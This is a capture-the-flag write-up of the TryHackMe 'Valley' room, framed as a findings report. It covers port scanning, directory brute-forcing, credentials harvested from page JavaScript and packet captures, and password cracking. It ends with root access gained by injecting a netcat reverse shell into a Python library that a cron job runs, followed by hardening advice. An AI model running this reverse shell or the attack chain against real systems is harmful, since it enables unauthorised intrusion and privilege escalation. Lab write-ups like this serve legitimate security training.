---
# System prepended metadata

title: 'Vally (TryHackMe Challange):'

---


---

# **Valley (TryHackMe Challenge) – Findings & Recommendations Report**

---

## **1️⃣ Port Scanning**

### **1.1 Nmap Scan**

```bash
nmap -v -sS <target IP>
```

**Open Ports:**

| Port | State | Service |
| ---- | ----- | ------- |
| 22   | open  | SSH     |
| 80   | open  | HTTP    |

**Website Findings:**

* Image gallery contained **unencrypted, hierarchical, and insecure paths**.
* Accessing URLs beyond the last image revealed **web server type and version**:

```
Apache/2.4.41 (Ubuntu) Server at 10.10.149.238 Port 80
```

### **1.2 RustScan**

```bash
rustscan -a 10.10.125.123
```

**Open Ports:**

* 22/tcp – SSH
* 80/tcp – HTTP
* 37370/tcp – FTP (**unusual port**)

---

## **2️⃣ Website Enumeration**

### **2.1 Initial Search**

* No sensitive findings on homepage.

### **2.2 Directory Brute-Forcing**

```bash
gobuster dir -u http://10.10.125.123 -w directory-list-lowercase-2.3-medium.txt
```

**Discovered Directories:**

| Path           | Status | Notes                    |
| -------------- | ------ | ------------------------ |
| /gallery       | 301    | Linked from homepage     |
| /static        | 301    | Not linked from homepage |
| /pricing       | 301    | Linked from homepage     |
| /server-status | 403    | Restricted               |

---

## **3️⃣ Suspicious URL Enumeration**

```bash
gobuster dir -u http://10.10.125.123/static/ -w directory-list-lowercase-2.3-medium.txt
```

* `/00` – only **127 bytes** → **suspicious**
* Other directories `/1` … `/18` corresponded to **image files**

---

## **4️⃣ Hidden Dev Notes & Login**

* Developer notes at `/dev1243224123123/` included:

```
- add wedding photo examples
- redo editing on #4
- remove /dev1243224123123
- check for SIEM alerts
```

* Login page JS revealed **hardcoded credentials**:

```javascript
if (username === "siemDev" && password === "california")
```

**Credentials:**

* **Username:** siemDev
* **Password:** california

---

## **5️⃣ FTP Access**

```bash
ftp 10.10.107.34 37370
```

* Directory Listing:

```
-rw-rw-r-- 1 1000 1000 7272    siemFTP.pcapng
-rw-rw-r-- 1 1000 1000 1978716 siemHTTP1.pcapng
-rw-rw-r-- 1 1000 1000 1972448 siemHTTP2.pcapng
```

* Download `.pcapng` files → **Wireshark analysis**
* Found credentials in HTTP POST:

```
userName: valleyDev
password: ph0t0s1234
```

---

## **6️⃣ SSH Access**

```bash
ssh valleyDev@10.10.89.228
```

* **User flag:**

```
h3THM{k@l1_1n_th3_v@lley}
```

---

## **7️⃣ Privilege Escalation – Root Access**

### **7.1 File Discovery**

* `/home/valley/valleyAuthenticator` – **encrypted binary**

### **7.2 Local Analysis**

```bash
scp valleyDev@10.10.157.63:/home/valleyAuthenticator /root/
strings valleyAuthenticator
```

* UPX compression detected:

```
UPX!
```

* Decompress:

```bash
upx -d valleyAuthenticator
```

### **7.3 Extracting Credentials**

* Found hashed password:

```
****e6722920bab2326f8217e4bf6b1b58ac****
```

* Crack using John the Ripper:

```bash
john --wordlist=/root/Tools/wordlists/rockyou.txt --format=raw-md5 passToCrack.txt
```

* **Recovered credentials:**

  * Username: valley
  * Password: liberty123

---

## **8️⃣ SSH Access as Valley User**

```bash
ssh valley@10.10.253.236
scp /opt/PEAS/linPEAS/linpeas.sh valley@10.10.253.236:/home/valley/
bash linpeas.sh 2>&1 | tee linpeas_output.txt
```

* LinPEAS revealed **no notable misconfigurations**

---

## **9️⃣ Privilege Escalation via Cron & Python Library Injection**

* `/etc/crontab` contained:

```
1 * * * * root python3 /photos/script/photosEncrypt.py
```

* Could not modify crontab directly.
* Injected **reverse shell** via Python library `base64.py`:

```python
import os
os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.205.94 9001 >/tmp/f')
```

* Listener on attack machine:

```bash
nc -l 9001
```

* **Root shell obtained**

```bash
whoami
root
```

---

## **🔟 Root Flag**

```bash
cat /root/root.txt
THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}
```

---

## **11️⃣ Recommendations & Hardening**

1. **SSH Security**

   * Disable password-based SSH login; enforce key-based authentication.
   * Restrict SSH access to trusted IPs only.

2. **Web Server**

   * Remove unlinked directories (e.g., `/static/00`).
   * Secure sensitive paths.
   * Enable HTTPS and secure session management.

3. **FTP**

   * Avoid unusual ports and anonymous access.
   * Use strong passwords and IP restrictions.

4. **Cron Jobs**

   * Limit root-level cron scripts to trusted binaries only.
   * Enforce strict file permissions.

5. **Binary Protection**

   * Do not store credentials in binaries.
   * Use environment variables or secure vaults.

6. **Monitoring & Alerting**

   * File integrity monitoring.
   * Audit unusual ports and unexpected services.

---

✅ **Conclusion:**
The attack chain executed fully: reconnaissance → FTP access → SSH access → reverse engineering → privilege escalation → root flag retrieval.
Implementing the above recommendations will significantly reduce risk from similar attacks.

---










